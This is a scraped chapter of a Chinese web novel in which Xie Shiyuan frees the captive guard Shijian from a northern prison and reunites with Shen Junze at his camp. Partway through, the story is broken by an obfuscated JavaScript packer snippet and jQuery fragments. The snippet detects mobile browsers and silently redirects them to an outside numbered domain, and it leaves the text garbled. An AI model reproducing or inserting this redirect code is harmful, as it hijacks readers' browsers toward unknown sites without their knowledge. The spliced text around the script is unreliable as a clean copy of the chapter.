默认冷灰
24号文字
方正启体

60. 北疆月光

作者:青木春山本书字数:K更新时间:
    水牢建在大牢深处,谢时鸢与素云跟着守卫,越走越深。知道看看到泡在水里的那一抹熟悉的玄色衣衫,瞳孔骤然缩紧,心狠狠的揪了起来。


    只见那人双臂用铁链吊起,头低垂着,发丝遮住了脸,半个身子都泡在水里。


    长长的指甲陷进肉中,掐出一抹血痕。手上的疼痛让谢时鸢勉强冷静了下来。转身吩咐道“劳烦诸位把人抬上来。”


    守卫目光狐疑,站在原地没动,


    “人都这样了,还能做什么?不抬上来我如何为他医治?”谢时鸢加重了语气,话语中多了几分王爷亲信该有的气势。


    两个守卫对视一眼,依言将那人抬了上来。


    那人身上伤痕累累,看不出一寸的好皮肤。只有胸口微弱的起伏,方能证明他还活着。


    谢时鸢凑近看到那人一双微微粗糙有些黑的手,心下长长的松了一口气。不是他。


    可待拨去挡脸的长发时,才稍稍放下的心,又揪了起来。


    这人不是别人,是侍剑。


    侍剑虚弱的睁开双眼,看清来人一愣。


    谢时鸢感受到握着自己的手紧了紧,谢时鸢在无人察觉时微微摇了摇头。


    佯装把脉后,从随身的药箱中取一个小瓶子。守卫立刻警惕了起来,“这是什么?”


    谢时鸢颇为无辜的答道“药啊,少汗让我前来便是怕他死了,再没有敌军线索,此药可以为他续命。”


    提起少汗,守卫明显有些忌惮,谢时鸢猜的不错,呼延廷此时已经取得了北疆的大部分权势。


    谢时鸢继续动作,从那白色的瓷瓶中倒出白色粉末,攥在手里,却没有洒在那病患的伤口处,


    眼睛斜视着身后的守卫,趁其不备,倏地起身,将手中的粉末尽数洒在那二人的脸上,


    白色的粉末撒入眼中,二人哀嚎不止。


    电光火石间,谢时鸢与素云架起侍剑往一边的墙上逃去,只见谢时鸢摸索着墙面,按下角落里的第二块砖,墙骤然打开,一条暗道出现在眼前,


    “小姐,你怎么会知道!”素云惊呼出声。


    “现在不是说这个的时候,快走。”


    身后的守卫躺在地上疼打滚,谢时鸢撒的不是毒药,正是沈君泽给她的治疗伤口的药,那东西洒在伤口上疼痛难忍,更别提洒在眼睛里了。


    守卫的呼叫声必然会招来更多的人,时不我待,谢时鸢与素云架着侍剑快步往秘道里逃去。


    秘道里崎岖难行,岔路又多,谢时鸢却像是极其熟悉这里一般,每一步都走得坚决。


    最后就连重伤的侍剑,都睁着血肿的眼睛,狐疑的而看着她。


    谢时鸢无法解释,前世她每次被人构陷,呼延廷都会惩罚她泡水牢。一次偶然的机遇,让她发现了这个通往外界的暗道......


    谢时鸢被他看得有些不自在。素云却挡在她前头,为她遮去那审视的目光“你那是什么眼神?我家小姐怀着身孕,为救你身陷险境。你还怀疑她?”


    “身孕?”侍剑闻言愣在原地“是王爷的。”这是个肯定句。


    青肿的脸上露出个欣喜的笑,但由于这张脸过于惨,连累这个笑也颇为狰狞“太好了,王爷有后了,太好了。”随后敛起笑容,沉声道


    “谢姑娘,不,王妃娘娘,您快走,别管我了。”


    挣扎着掏出短刀,作势便要扎在颈上。


    谢时鸢眼疾手快,打掉了那刀子,厉声道“侍剑!你做什么!”


    “我深受重伤,走不了了,您和素云一路向西,穿过片戈壁。王爷在那驻军。”侍剑苍白着脸喘息着。


    身后渐渐有人声传来,追兵来了。


    谢时鸢沉了脸,不理他这番自暴自弃的话。复扶起他往更深处而去。


    三人躲避在一石窟后,面前是硕大的青石屏障。片刻追兵便跟了上来,听脚步人数不少。


    素云紧紧贴着石壁,连呼吸都不敢。谢时鸢盯着地上的人影,目光在不远处的那片猩红上一顿,


    那是侍剑受伤留下的血渍!


    心骤然揪了起来,好在追兵暂时并没注意,就在众人即将离去时,为首的喊了声“慢着!”


    人影渐渐变大,他往这边来了!


    谢时鸢手握匕首,挡在了二人之前,


    冷静,要冷静。


    巨大的心跳声充斥在耳膜中,谢时鸢仿佛听到了自己血液流动的声音。


    一只手覆上那石屏的边缘,素云任命的闭上了双眼。


    突然,只听外面一阵混乱,那只手收了回去,电光火石间,手的主人随之倒地,头摊在石屏后,他终于找到了逃跑的人犯,但是一张嘴却是大口大口地鲜血涌出,眼睛瞪得老大,再也动弹不得。


    素云再也按捺不住心中的恐惧,双手捂着嘴,无声的尖叫起来了。


    终于,外边归为平静。一个硕大的人影闪了进来,谢时鸢举起匕首便砍。


    那人一挥手臂便将匕首夺了去,看清几人,眼眶里是克制不住的欣喜,惊喜道“姑娘,我终于找到你了。”


    “屠刀?”


    ......


    几人从密室出来,一路横七竖八皆是北疆军的尸体。屠刀却只臂上受了轻伤。


    “所以你一直藏在北疆军队中。”谢时鸢问


    “是的,姑娘走得急,我赶到时已经被带走了。我便乔装成北疆新兵,藏在队伍里。今夜见牢狱守卫出动,便猜想有大变,就假装守卫潜进来了。”屠刀答道。


    屠刀身材雄壮,长了个大块头,面容坚毅,乍一看还真有几分北疆士兵的味道。


    “王爷嘱咐我保护姑娘,让姑娘遭此一难,屠刀有罪。”


    谢时鸢扶住那要磕头谢罪的,摇头道“我自己跑出来的与你何干,现在不是说这些的时候。”


    目光望向西边,东边红日已出,西边还笼罩在灰色的雾气中,侍剑穿着沈君泽的衣衫引开了北疆军,距今已有一月。沈君泽是否还驻扎在原地尚未可知。


    “现在我们怎么办?”素云问道


    “去西边。”谢时鸢望着西边地里的一株胡杨答道。


    ……


    北疆的王庭要比沈君泽预料得更深,等他率精锐将老王及一众皇子斩杀在剑下时,已经过去了四十余天,轻装上阵,四十天已是粮草的极限。


    翻查了尸体,果然不见呼延廷亲信的影子,呼延廷果真很狡猾,若不是阿鸢提醒,他不会大费周章,让侍剑假扮他。兵分两路吸引敌军。


    王庭已灭,不比大晋的城池,此处一片原野,都没有能驻扎的城墙。神出鬼没,荧光一现,这便是北疆区区部落却依旧难杀的原因。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302976|178288||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此地不宜久留,沈君泽留下一部分军队押送平民迁至康郡,剩下的补充粮草后,继续追击呼延廷的下落。


    冬天的第一场雪落在了北地,侍从为沈君泽披上狐裘,递上一杯马奶茶。沈君泽摩挲着手里的茶杯,目光随着落雪飘远了。


    已经有六十多天没有见到她了,犹记得分开时她落在他脸颊上的轻吻。沈君泽觉得胸腔里那股子燥热又燃起来了,


    想念几乎要将他吞噬,眼下泛起的青色逐渐染上血色,如果侍剑在的话一定要为他递上药丸,这是魇症爆发的征兆。


    从腰里翻出一方手帕,那帕子被保存得很好,即使经历数次激战,依旧被叠得整整齐齐,


    放在鼻下轻嗅,那上面早就没有了女子身上的那抹白兰香。但那细滑的触感,像是爱人轻柔的手,拂过脸颊,沈君泽用那帕子在脸上轻轻蹭过,眉间,眼角,向下落在唇边。


    最终发出一声沉闷的叹息,不情愿的掏出药丸,就着那马奶酒服下。


    他知道,一旦发病,便会见到那朝思暮想之人,但是战场局势,瞬息万变,作为将领,他必须时时刻刻保持清醒。


    不多时,士兵来报,说是不远处发现可疑之人。


    沈君泽出了营帐,只见不远处,四个人风尘仆仆,向这边走来,头上是漫天飘雪,脚下是细绵的黄沙。


    几人的面孔渐渐清晰,一路的奔波时使几人外表皆不大体面,甚至有一个还需要搀扶尚能走路。


    沈君泽的目光却始终落在那为首的脸上,只见那平日总是如皎月洁白的面庞,染上了些许灰色,衣衫也破了几处。


    但丝毫不能掩盖她的惊艳,仿佛破败寺庙里,矗立的神像,即便因无人修缮而稍加破落,但当她凝望过来时,却依旧难掩神性。


    宽恕了善男信女的忏悔,也解救了沈君泽如江水将要决堤般的思念。


    沈君泽快速走过,红色的战袍卷起几缕飘雪,在落下之时,他终于将他的月亮拥入怀中,双臂收紧,仿佛将那人嵌入骨血,


    不是魇症,是切实的真正的拥着这个人......


    “行初,我终于找到你了。”


    他听到那神灵如是说。


    这晚谢时鸢睡得格外好,枕在熟悉的臂弯里,连月来得不安,疲惫仿佛都得到了释放。


    沈君泽却近乎一夜未睡,怀中人的幽香随着那人的呼吸,窜上鼻尖。那人眼下的青色仿佛在诉说着这一路的艰辛。手轻拂过眉间,无尽的愧疚与心疼几乎要将他淹没,


    天大亮时谢时鸢才睁开眼,醒来时只有她一人在榻上。


    这一觉睡得极长,醒来之后却仿佛每一块骨头都在抗议,强撑着的那股子劲儿终于泄了,谢时鸢抚上小腹,在那处安抚的摸摸。


    “宝贝,那是爹爹,你也很开心是不是?”


    侍女最先发现她已然起床,不多时帘帐掀开,一股冷气窜进来,而后被隔绝在外。


    男人在外烤了一会儿火,方才近来,放在在布战图前染上的肃杀之气,在见到女子的那一刻陡然失散,取而代之的是化不开的柔情。


    “你醒了。”从侍女手中接过发丝,为那镜前的女子挽了一个发髻。


    而后在那脸上轻轻啄吻,问道“想吃什么?”


    “与你在一起吃什么都好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)